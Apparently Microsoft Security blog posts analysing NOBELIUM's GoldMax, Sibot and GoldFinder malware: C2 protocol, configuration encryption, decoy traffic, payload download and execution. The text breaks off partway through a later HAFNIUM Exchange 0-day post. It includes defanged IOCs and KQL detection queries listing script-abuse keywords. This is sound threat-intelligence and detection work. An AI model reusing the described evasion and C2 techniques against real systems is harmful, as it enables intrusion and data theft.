Maintaining persistence is critical for any threat actor after gaining access to a network. In addition to the backdoor in the SolarWinds software, NOBELIUM has been observed using stolen credentials to access cloud services like email and storage, as well as compromised identities to gain and maintain access to networks via virtual private networks (VPNs) and remote access tools. Microsoft assesses that the newly surfaced pieces of malware were used by the actor to maintain persistence and perform actions on very specific and targeted networks post-compromise, even evading initial detection during incident response.


The GoldMax malware was discovered persisting on networks as a scheduled task impersonating systems management software. In the instances it was encountered, the scheduled task was named after software that existed in the environment, and pointed to a subfolder in ProgramData named after that software, with a similar executable name. The executable, however, was the GoldMax implant.

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running.

GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via psuedo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

Observed GoldMax C2 domains are high-reputation and high-prevalence, often acquired from domain resellers so that Whois records retain the creation date from their previous registration, or domains that may have been compromised. This tactic complements NOBELIUM’s operational security strategy as these domains are more likely to be overlooked by security products and analysts based on their perceived long-lived domain ownership. Put simply, several domains we have shared as GoldMax C2 domains are only associated with NOBELIUM after the time they were re-sold or compromised – and Microsoft has provided that indicator context where it is available to us.

Upon execution, GoldMax retrieves a list of the system’s network interfaces; the malware terminates if it is unable to do so or no network interface is configured. It then attempts to determine if any of the network interfaces has the following hardcoded MAC address: c8:27:cc:c2:37:5a. If so, it terminates.

Figure 1. HardwareAddr.String() call, hardcoded MAC address, and os.Exit() call

Configuration file

GoldMax is designed to store its configuration data in an encrypted file named features.dat.tmp. The file name varies in different versions of GoldMax, but in all observed variants, the configuration file carries a .tmp file extension and is located in the same directory as GoldMax. The first time GoldMax is run, it uses a set of embedded default values to create and populate its configuration file on disk. The next time GoldMax  runs, instead of using its embedded configuration data, it loads the configuration data from its configuration file stored on the file system.

The data from the configuration file typically matches the default configuration data embedded in GoldMax, since the embedded data was initially used to create the configuration file. However, GoldMax comes with a command-and-control feature that allows its operators to dynamically update its configuration data on the fly. When this happens, GoldMax overwrites the existing data in its configuration file with the new configuration data received from its operators, so the next time GoldMax is run, it uses the most up-to-date version of its configuration data to initialize its runtime settings.

The configuration data is encrypted using the AES-256 encryption algorithm, CFB encryption mode, and the following cipher key: 4naehrkz5alao2jd035zjh3j1v1dvyyc (key varies in different versions of GoldMax). The AES encrypted configuration data is then Base64-encoded using the custom Base64 alphabet “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_” before it is stored in the configuration file on the file system. When run, GoldMax decodes (Base64) and decrypts (AES-256) the configuration data to reveal a custom data structure comprised of the following dynamically generated and hardcoded values (delimited by ‘|’):

Figure 2. Data structure of the GoldMax configuration data

GoldMax proceeds to parse the data structure depicted above and uses the values within to initialize its runtime settings and variables used by its different components.

If the configuration file is not present on the system, (i.e., the first time it runs), GoldMax uses dynamically generated and embedded values to create and populate the data structure depicted above. It then uses the same AES encryption methodology to encrypt the data structure. After encrypting the data structure, GoldMax proceeds to Base64 encode the encrypted data structure and removes all instances of ‘=’ from the Base64 encoded string. It then creates a configuration file on the file system (e.g., features.dat.tmp) and stores the Base64 encoded data in the configuration file.

Activation date

GoldMax’s configuration data contains an execution activation/trigger date, stored as an ASCII Unix/Epoch time value as shown in the configuration data section above, that is essentially meant to function as an “activate after x date/time” feature. After loading its configuration data, GoldMax checks the current date-time value of the compromised system against the activation date from the configuration data.

Figure 3. Inline Unix() function and EPOCH comparison of the current and activation date/time

If an activation date-time value is specified in the configuration data (i.e., not set to ‘0’) and the activation date-time occurs on or before the current date-time of the compromised system, GoldMax commences its malicious activities. Otherwise, GoldMax terminates and continues to do so until the activation date is reached. If no activation date is specified in the configuration data (i.e., field set to ‘0’), the malware commences its malicious activities straightaway.

In all versions of GoldMax analyzed during our investigation, the activation date is initially set to ‘0’. However, through its command-and-control feature, the operators can dynamically update the activation date using a specific C2 command, in which case the new activation date is stored in the configuration file and is checked each time GoldMax runs.

Decoy network traffic

GoldMax is equipped with a decoy network traffic generation feature that allows it to surround its malicious network traffic with seemingly benign traffic. This feature is meant to make distinguishing between malicious and benign traffic more challenging. If the decoy network traffic feature is enabled (set to ‘1’ in the configuration data), GoldMax issues a pseudo-random number of decoy HTTP GET requests (up to four) for URLs pointing to a mixture of legitimate and C2 domain names and/or IP addresses. The exact URL for each request is pseudo-randomly selected from a list of 14 hardcoded URLs. An example URL list comprised of 14 legitimate and C2 URLs is shown below:

Figure 4. Hardcoded URLs from which GoldMax selects up to four to issue HTTP requests for

As shown above, some of the decoy URLs point to the domain name of the actual C2 (e.g., onetechcompany[.]com). However, the particular HTTP resources referenced in the URLs above (e.g., style.css, script.js, icon.ico, etc.) are known to the C2 as being decoy resources that serve no role in the regular C2 communication between GoldMax and its C2.

The Referer value for each decoy HTTP request is also pseudo-randomly selected from a list of four legitimate domain names. For example, we have seen the following in various combinations to make up lists of four domains: www[.]mail[.]com, www[.]bing[.]com, www[.]facebook[.]com, www[.]google[.]com, www[.]twitter[.]com, www[.]yahoo[.]com, etc. For demonstration purposes, an example decoy HTTP GET request is included below (the Connection and User-Agent HTTP headers and their values are manually added to each request by GoldMax and remain the same across all decoy HTTP requests, regardless of the destination URL):

Figure 5. Sample decoy HTTP GET request

RSA session key

The next step in the execution cycle involves establishing a secure session key between GoldMax and its C2 server. GoldMax first requests a session key from its C2 server by sending an HTTP GET request that contains a custom HTTP Cookie value that is unique to each implant. The Cookie value is comprised of the following dynamically generated and hardcoded values:

Figure 6. HTTP Cookie value in HTTP GET request

An example request containing the custom Cookie value is shown below:

Figure 7. Sample HTTP GET request with the custom Cookie value

The User-Agent and Connection values above are hardcoded in the HTTP request. The Referer value is pseudo-randomly selected from a list of four legitimate domain names using various combinations of the following: www[.]mail[.]com, www[.]bing[.]com, www[.]facebook[.]com, www[.]google[.]com, www[.]twitter[.]com, www[.]yahoo[.]com, etc.

In response to the request above, GoldMax expects to receive an HTTP 200 response containing a very specific and hardcoded ASCII string (e.g., “uFLa12nFmKkjrmjj”). The seemingly random-looking string is typically 10-16 bytes long (after all leading and trailing white space has been removed). It can best be described as a “shared secret” between the C2 and each individual implant (the string varies in different versions of GoldMax). It serves as an acknowledgement that the C2 server has received GoldMax’s request for a new a session key. If GoldMax does not receive the expected string, it sleeps for a random amount of time and repeats (indefinitely) the process described above to obtain the expected string from its C2 server, or until the GoldMax process is terminated.

After receiving the expected string, GoldMax sleeps for up to 14 seconds before proceeding. If the decoy traffic option is enabled in the configuration data, GoldMax issues a pseudo-random number of HTTP GET requests (as described under the decoy network traffic section above). GoldMax then issues a new HTTP GET request to its C2 server containing a new set of hardcoded Cookie values.

Figure 8. Sample HTTP GET request showing hardcoded Cookie values

The only observed difference between the first and second HTTP GET requests is the value of the second Cookie highlighted above (example values: iC0Pf2a48 from the first request vs. J4yeUYKyeuNa2 from the second request above). In response to the request, GoldMax receives an encrypted RSA session key (Base64-encoded). Each version of GoldMax contains an RSA private key which GoldMax proceeds to decode (using pem.Decode()) and parse (using x509.ParsePKCS1PrivateKey()). GoldMax uses rsa.DecryptOAEP() with the parsed private key to decrypt (using RSA-OAEP) the RSA-encrypted session key received from its C2 server. From this point on, the session key is used to encrypt data sent between GoldMax and its C2 server.

C2 commands

After establishing a session key, GoldMax reaches out to its C2 server to receive, decrypt (AES-256), parse, and execute commands. To retrieve an encrypted C2 command from its C2 server, GoldMax sends an HTTP GET request. This HTTP GET request only contains a single Cookie value, which matches the Cookie value used during the session key establishment process (the User-Agent and Connection headers and values are hardcoded, as before):

Figure 9. Sample HTTP GET request containing a single Cookie value

In response to the request above, GoldMax receives an encrypted (AES-256) and encoded (Base64 using custom Base64 alphabet) C2 command. The command is encrypted using the session key established between GoldMax and its C2 server. After decoding and decrypting the C2 command, GoldMax proceeds to parse the C2 command.

C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g., “KbwUQrcooAntqNMddu4XRj”) that are unique to each implant but known to the C2 server. The C2 commands allow the operator to download and execute files on the compromised system, upload files from the compromised system to the C2 server, execute OS commands on the compromised system, spawn a command shell, and dynamically update GoldMax’s configuration data. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG.

It is worth noting that all observed versions of GoldMax were compiled with the Go compiler version 1.14.2 (released in April 2020). In all observed versions, the main Go source code file for GoldMax was located under the following directory: /var/www/html/builds/. The Go packages and libraries used during the compilation process of GoldMax were mostly located under the /var/www/html/go/src/ directory (e.g., /var/www/html/go/src/net/http/http.go).


Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server.  The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.

Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. In observed instances the DLL is downloaded to C:\windows\system32\drivers\, renamed with a .sys extension, and then executed by rundll32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script. This simplistic implementation allows for a low footprint for the actor, as they can download and run new code without changes to the compromised endpoint by just updating the hosted DLL. The compromised website used to host the DLL is different for every compromised network and includes websites of medical device manufacturers and IT service providers.

We have observed three variants of this malware, all of which are obfuscated:

  • Variant A is the simplest of the three. It only installs the second-stage script in the default registry value under the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot.
  •  Variant B registers a scheduled task named Sibot and programmed to run daily. This task, which is saved by Windows in the file C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\sibot, runs the following command-line daily:

The registry key referenced in this command-line contains the second-stage script.

  • Variant C is a standalone version of the second-stage script. However, while the second-stage script from Variant A is designed to be executed from the registry, this variant is designed to run from a file.

Figure 10. Sibot variants

The second-stage script

The purpose of the second-stage script is to download and run a payload from a remote server. The script can be customized with the following parameters:

  • Command-line with which to run the payload
  • Directory where the payload is installed
  • URL of the C2 server containing the payload to download
  • HTTP request to use for the download (e.g., GET)

When run, the first thing the script does is to retrieve a GUID associated to a LAN connection present on the machine by leveraging the interface offered by the WMI Class Root\Microsoft\Homenet\HNet_Connection. If a LAN connection is not available, the script defaults to a hardcoded GUID. This GUID is later communicated to the C2. It’s possible that the threat actor used this GUID to verify that the threat is running in a desirable environment, i.e., a real machine with LAN connections available. The next step of the second-stage script is to check if the machine is configured to use proxies, and if so, to get the address of a proxy. The script uses the StdRegProv WMI class to read the configuration data from the registry key  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer and extract a valid proxy server.

At this point, the script establishes an HTTP connection to the C2 server. It sets the user-agent and the connection GUID as HTTP header variables, then sends the HTTP request. In both versions of the script, the request is GET. If the server response is comprised only of the same GUID that the malware sent, the script deletes itself. In the case of the second-stage script from Variant A, the script deletes the registry key where it is installed. In the case of Variant C, the script deletes the file from which it is running. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file. In both variants of the second-stage script, the payload is a DLL with a .SYS extension and saved in the %windir%\system32\drivers folder. Finally, the script uses the Win32_Process WMI class to execute the payload DLL via the rundll32.exe utility.

While the script is running in the context of a script host process (e.g. wscript.exe), the actions carried out through the WMI interface originates from the WMI host process (WmiPrvSe.exe). This effectively breaks the process chain between the action’s origin (the script host) and its execution (the WMI host), making it more difficult to trace back events to their true origin. Forensic analysis is also hindered by the lack of correlation between the execution of the second-stage script and the events it carries out via WMI.


Another tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

  • Target: The C2 URL
  • StatusCode: HTTP response/status code
  • Headers: HTTP response headers and their values
  • Data: Data from the HTTP response received from the C2

An example log entry using a sample date is shown below:

Figure 11. Sample log entry

If the response is not an HTTP 200 (OK) response and contains an HTTP Location field (indicating a redirect), GoldFinder recursively follows and logs the redirects until it receives an HTTP 200 response, at which point it terminates. If a Location header is present in the response and the Location value starts with the string “http”, GoldFinder extracts the Location URL (i.e., redirect URL) and issues a new HTTP GET request for the redirect URL. It again logs the request and its response in the plaintext log file:

Figure 12. Sample log file

If GoldFinder receives an HTTP 200 status code in response to the request above, indicating no more redirects, it terminates. Otherwise, it recursively follows the redirect up to 99 times or until it receives an HTTP 200 response, whichever occurs first.

When launched, GoldFinder can identify all HTTP proxy servers and other redirectors such as network security devices that an HTTP request travels through inside and outside the network to reach the intended C2 server. When used on a compromised device, GoldFinder can be used to inform the actor of potential points of discovery or logging of their other actions, such as C2 communication with GoldMax.

GoldFinder was compiled using Go 1.14.2, released in April 2020, from a Go file named finder.go with the following path: /tmp/finder.go. The Go packages and libraries used during the compilation process of GoldFinder were mostly located under the /var/www/html/go/src/ directory (e.g., /var/www/html/go/src/net/http/http.go).

Comprehensive protections for persistent techniques

The sophisticated NOBELIUM attack requires a comprehensive incident response to identify, investigate, and respond. Get the latest information and guidance from Microsoft at

Microsoft Defender Antivirus detects the new NOBELIUM components discussed in this blog as the following malware:

  • Trojan:Win64/GoldMax.A!dha
  • TrojanDownloader:VBS/Sibot.A!dha
  • Trojan:VBS/Sibot.B!dha
  • Trojan:Win64/GoldFinder.A!dha
  • Behavior:Win32/Sibot.C

Turning on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus ensures that artificial intelligence and machine learning can quickly identify and stop new and unknown threats. Tamper protection features prevent attackers from stopping security services. Attack surface reduction rules, specifically the rule Block executable files from running unless they meet a prevalence, age, or trusted list criterion, can help block new malware and attacker tools introduced by threat actors.


Figure 13. Security recommendations in threat and vulnerability management

Detections of new malware by Microsoft Defender Antivirus are reported as alerts in Microsoft Defender Security Center. Additionally, endpoint detection and response capabilities in Microsoft Defender for Endpoint detect malicious behavior related to these NOBELIUM components, which are surfaced as alerts with the following titles:

  • GoldMax malware
  • Sibot malware
  • GoldFinder Malware

The following alerts, which indicate detection of behavior associated with a wide range of attacks, are also raised for these NOBELIUM components:

  • Suspicious connection to remote service
  • Suspicious Rundll32 Process Execution
  • Suspicious PowerShell command line
  • Suspicious file or script accessed a malicious registry key

Intelligence about these newly surfaced components accrue to the information about NOBELIUM that Microsoft 365 Defender consolidates. Rich investigation tools in Microsoft 365 Defender allow security operations teams to comprehensively respond to this attack. Get comprehensive guidance for using Microsoft 365 Defender to identify, investigate, and respond to the NOBELIUM attack.




Indicators of compromise (IOCs)

Due to the nature of this attack, most samples are unique to each network they were discovered in, however Microsoft has confirmed that these samples available in public repositories are associated with this threat.

Type Threat name Indicator
SHA-256 GoldMax 70d93035b0693b0e4ef65eb7f8529e6385d698759cc5b8666a394b2136cc06eb
SHA-256 GoldMax 0e1f9d4d0884c68ec25dec355140ea1bab434f5ea0f86f2aade34178ff3a7d91
SHA-256 GoldMax 247a733048b6d5361162957f53910ad6653cdef128eb5c87c46f14e7e3e46983
SHA-256 GoldMax f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
SHA-256 GoldMax 611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c
SHA-256 GoldMax b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
SHA-256 GoldMax bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c
SHA-256 GoldFinder 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
SHA-256 Sibot 7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb
SHA-256 Sibot acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66
IP address GoldMax and GoldFinder 185[.]225[.]69[.]69/
Domain GoldMax and GoldFInder srfnetwork[.]org
Domain GoldMax reyweb[.]com
Domain GoldMax onetechcompany [.]com

GoldMax C2 decoy traffic

As detailed above, GoldMax employs decoy traffic to blend in with normal network traffic. Below are several examples demonstrating the patterns GoldMax uses to mix legitimate traffic with C2 queries:

185[.]225[.]69[.]69 C2 decoys “onetechcompany” C2 decoys “reyweb” C2 decoys
hxxps[:]//cdn[.]mxpnl[.]com/ hxxps[:]//code[.]jquery[.]com/ hxxps[:]//code[.]jquery[.]com/
hxxps[:]//code[.]jquery[.]com/ hxxps[:]//play[.]google[.]com/log?” hxxps[:]//cdn[.]cloudflare[.]com/
hxxps[:]//cdn[.]google[.]com/ hxxps[:]//fonts[.]gstatic[.]com/s/font.woff2″ hxxps[:]//cdn[.]google[.]com/
hxxps[:]//fonts[.]gstatic[.]com/s/font.woff2 hxxps[:]//cdn[.]google[.]com/ hxxps[:]//cdn[.]jquery[.]com/
hxxps[:]//ssl[.]gstatic[.]com/ui/v3/icons hxxps[:]//www.gstatic[.]com/images/? hxxps[:]//cdn[.]mxpnl[.]com/
hxxps[:]//www.gstatic[.]com/images/? hxxps[:]//onetechcompany [.]com/style.css hxxps[:]//ssl[.]gstatic[.]com/ui/v3/icons
hxxps[:]//185[.]225[.]69[.]69/style.css hxxps[:]//onetechcompany [.]com/script.js hxxps[:]//reyweb[.]com/style.css
hxxps[:]//185[.]225[.]69[.]69/script.js hxxps[:]//onetechcompany [.]com/icon.ico hxxps[:]//reyweb[.]com/script.js
hxxps[:]//185[.]225[.]69[.]69/icon.ico hxxps[:]//onetechcompany [.]com/icon.png hxxps[:]//reyweb[.]com/icon.ico
hxxps[:]//185[.]225[.]69[.]69/icon.png hxxps[:]//onetechcompany [.]com/scripts/jquery.js hxxps[:]//reyweb[.]com/icon.png
hxxps[:]//185[.]225[.]69[.]69/scripts/jquery.js hxxps[:]//onetechcompany [.]com/scripts/bootstrap.js hxxps[:]//reyweb[.]com/scripts/jquery.js
hxxps[:]//185[.]225[.]69[.]69/scripts/bootstrap.js hxxps[:]//onetechcompany [.]com/css/style.css hxxps[:]//reyweb[.]com/scripts/bootstrap.js
hxxps[:]//185[.]225[.]69[.]69/css/style.css hxxps[:]//onetechcompany [.]com/css/bootstrap.css hxxps[:]//reyweb[.]com/css/style.css
hxxps[:]//185[.]225[.]69[.]69/css/bootstrap.css hxxps[:]//reyweb[.]com/css/bootstrap.css

Advanced hunting queries

Rundll32.exe .sys image loads by reference

Looks for rundll32.exe loading .sys file explicitly by name.

Run query in Microsoft 365 security center:

| where InitiatingProcessFileName =~ 'rundll32.exe'
| where InitiatingProcessCommandLine has_any('.sys,','.sys ')
| where FileName endswith '.sys'
| project Timestamp, DeviceId, InitiatingProcessParentFileName, InitiatingProcessFolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath, FileName

Rundll32.exe executing inline VBScript

Looks for rundll32.exe executing specific inline VBScript commands.

Run query in Microsoft 365 security center:

| where FileName =~ 'rundll32.exe'
| where ProcessCommandLine has 'Execute'
and ProcessCommandLine has 'RegRead'
and ProcessCommandLine has 'window.close'
| project Timestamp, DeviceId, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

Run query in Azure Sentinel (Github link):

| where EventID == 4688
| where Process =~ 'rundll32.exe'
| where CommandLine has_all ('Execute','RegRead','window.close')
| project TimeGenerated, Computer, Account, Process, NewProcessName, CommandLine, ParentProcessName, _ResourceId

VBScript payload stored in registry

Looks for VBScript payload stored in registry, specifically stored within a sub-key of CurrentVersion registry path and excluding common AutoRun persistence locations like Run and RunOnce registry keys.

Run query in Microsoft 365 security center

| where RegistryKey endswith @'\Microsoft\Windows\CurrentVersion'
| where RegistryValueType == 'String'
| where strlen(RegistryValueData) >= 200
| where RegistryValueData has_any('vbscript','jscript','mshtml,','mshtml ','RunHTMLApplication','Execute(','CreateObject','RegRead','window.close')
| where RegistryKey !endswith @'\Software\Microsoft\Windows\CurrentVersion\Run'
and RegistryKey !endswith @'\Software\Microsoft\Windows\CurrentVersion\RunOnce'
| project Timestamp, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine, RegistryKey, RegistryValueName, RegistryValueData

Run query in Azure Sentinel (Github link):

let cmdTokens0 = dynamic(['vbscript','jscript']);
let cmdTokens1 = dynamic(['mshtml','RunHTMLApplication']);
let cmdTokens2 = dynamic(['Execute','CreateObject','RegRead','window.close']);
| where TimeGenerated >= ago(14d)
| where EventID == 4688
| where CommandLine has @'\Microsoft\Windows\CurrentVersion'
| where not(CommandLine has_any (@'\Software\Microsoft\Windows\CurrentVersion\Run', @'\Software\Microsoft\Windows\CurrentVersion\RunOnce'))
// If you are receiving false positives, then it may help to make the query more strict by uncommenting the lines below to refine the matches
//| where CommandLine has_any (cmdTokens0)
//| where CommandLine has_all (cmdTokens1)
| where CommandLine has_all (cmdTokens2)
| project TimeGenerated, Computer, Account, Process, NewProcessName, CommandLine, ParentProcessName, _ResourceId

Domain IOC lookup

Looks for identified C2 domains.

Run query in Azure Sentinel (GitHub link)

let DomainNames = dynamic(['', '', '']);
let IPList = dynamic(['']);
let IPRegex = '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}';
(union isfuzzy=true
| where SourceIP in (IPList) or DestinationIP in (IPList) or DestinationHostName in~ (DomainNames) or RequestURL has_any (DomainNames) or Message has_any (IPList)
| parse Message with * '(' DNSName ')' *
| extend MessageIP = extract(IPRegex, 0, Message)
| extend IPMatch = case(SourceIP in (IPList), "SourceIP", DestinationIP in (IPList), "DestinationIP", MessageIP in (IPList), "Message", RequestURL in (DomainNames), "RequestUrl", "NoMatch")
| extend timestamp = TimeGenerated, IPCustomEntity = case(IPMatch == "SourceIP", SourceIP, IPMatch == "DestinationIP", DestinationIP, IPMatch == "Message", MessageIP, "NoMatch"), AccountCustomEntity = SourceUserID
| where IPAddresses in (IPList) or Name in~ (DomainNames)
| extend DestinationIPAddress = IPAddresses, DNSName = Name, Host = Computer
| extend timestamp = TimeGenerated, IPCustomEntity = DestinationIPAddress, HostCustomEntity = Host
| where SourceIp in (IPList) or DestinationIp in (IPList) or RemoteDnsCanonicalNames has_any (DomainNames)
| parse RemoteDnsCanonicalNames with * '["' DNSName '"]' *
| extend IPMatch = case( SourceIp in (IPList), "SourceIP", DestinationIp in (IPList), "DestinationIP", "None")
| extend timestamp = TimeGenerated, IPCustomEntity = case(IPMatch == "SourceIP", SourceIp, IPMatch == "DestinationIP", DestinationIp, "NoMatch"), HostCustomEntity = Computer
| where ClientIP in (IPList)
| extend timestamp = TimeGenerated, IPCustomEntity = ClientIP, AccountCustomEntity = UserId
| where RemoteUrl has_any (DomainNames) or RemoteIP in (IPList)
| extend timestamp = TimeGenerated, DNSName = RemoteUrl, IPCustomEntity = RemoteIP, HostCustomEntity = DeviceName
| where ResourceType == "AZUREFIREWALLS"
| where Category == "AzureFirewallDnsProxy"
| parse msg_s with "DNS Request: " ClientIP ":" ClientPort " - " QueryID " " Request_Type " " Request_Class " " Request_Name ". " Request_Protocol " " Request_Size " " EDNSO_DO " " EDNS0_Buffersize " " Responce_Code " " Responce_Flags " " Responce_Size " " Response_Duration
| where Request_Name has_any (DomainNames)
| extend timestamp = TimeGenerated, DNSName = Request_Name, IPCustomEntity = ClientIP
| where ResourceType == "AZUREFIREWALLS"
| where Category == "AzureFirewallApplicationRule"
| parse msg_s with Protocol 'request from ' SourceHost ':' SourcePort 'to ' DestinationHost ':' DestinationPort '. Action:' Action
| where isnotempty(DestinationHost)
| where DestinationHost has_any (DomainNames)
| extend timestamp = TimeGenerated, DNSName = DestinationHost, IPCustomEntity = SourceHost

The post GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence appeared first on Microsoft Security.

HAFNIUM targeting Exchange Servers with 0-day exploits

March 2nd, 2021 No comments

Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures.

The vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which were addressed in today’s Microsoft Security Response Center (MSRC) release – Multiple Security Updates Released for Exchange Server. We strongly urge customers to update on-premises systems immediately. Exchange Online is not affected.

We are sharing this information with our customers and the security community to emphasize the critical nature of these vulnerabilities and the importance of patching all affected systems immediately to protect against these exploits and prevent future abuse across the ecosystem. This blog also continues our mission to shine a light on malicious actors and elevate awareness of the sophisticated tactics and techniques used to target our customers. The related IOCs, Azure Sentinel advanced hunting queries, and Microsoft Defender for Endpoint product detections and queries shared in this blog will help SOCs proactively hunt for related activity in their environments and elevate any alerts for remediation.

Microsoft would like to thank our industry colleagues at Volexity and Dubex for reporting different parts of the attack chain and their collaboration in the investigation. Volexity has also published a blog post with their analysis. It is this level of proactive communication and intelligence sharing that allows the community to come together to get ahead of attacks before they spread and improve security for all.


HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.

HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.

In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets’ environments.

HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

Technical details

Microsoft is providing the following details to help our customers understand the techniques used by HAFNIUM to exploit these vulnerabilities and enable more effective defense against any future attacks against unpatched systems.

CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.

CVE-2021-26857 is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.

CVE-2021-26858 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

CVE-2021-27065 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

Attack details

After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below:

Following web shell deployment, HAFNIUM operators performed the following post-exploitation activity:

  • Using Procdump to dump the LSASS process memory:

  • Using 7-Zip to compress stolen data into ZIP files for exfiltration:

  • Adding and using Exchange PowerShell snap-ins to export mailbox data:

  • Using the Nishang Invoke-PowerShellTcpOneLine reverse shell:

  • Downloading PowerCat from GitHub, then using it to open a connection to a remote server:

HAFNIUM operators were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users.

Our blog, Defending Exchange servers under attack, offers advice for improving defenses against Exchange server compromise. Customers can also find additional guidance about web shell attacks in our blog Web shell attacks continue to rise.

Can I determine if I have been compromised by this activity?

The below sections provide indicators of compromise (IOCs), detection guidance, and advanced hunting queries to help customers investigate this activity using Exchange server logs, Azure Sentinel, Microsoft Defender for Endpoint, and Microsoft 365 Defender. We encourage our customers to conduct investigations and implement proactive detections to identify possible prior campaigns and prevent future campaigns that may target their systems.

Check patch levels of Exchange Server

The Microsoft Exchange Server team has published a blog post on these new Security Updates providing a script to get a quick inventory of the patch-level status of on-premises Exchange servers and answer some basic questions around installation of these patches.

Scan Exchange log files for indicators of compromise

  • CVE-2021-26855 exploitation can be detected via the following Exchange HttpProxy logs:
    • These logs are located in the following directory: %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy
    • Exploitation can be identified by searching for log entries where the AuthenticatedUser is empty and the AnchorMailbox contains the pattern of ServerInfo~*/*
      • Here is an example PowerShell command to find these log entries:

Import-Csv -Path (Get-ChildItem -Recurse -Path “$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy” -Filter ‘*.log’).FullName | Where-Object {  $_.AuthenticatedUser -eq ” -and $_.AnchorMailbox -like ‘ServerInfo~*/*’ } | select DateTime, AnchorMailbox

    • If activity is detected, the logs specific to the application specified in the AnchorMailbox path can be used to help determine what actions were taken.
      • These logs are located in the %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging directory.
  • CVE-2021-26858 exploitation can be detected via the Exchange log files:
    • C:\Program Files\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog
    • Files should only be downloaded to the %PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp directory
      • In case of exploitation, files are downloaded to other directories (UNC or local paths)
    • Windows command to search for potential exploitation:

findstr /snip /c:”Download failed and temporary file” “%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log”

  • CVE-2021-26857 exploitation can be detected via the Windows Application event logs
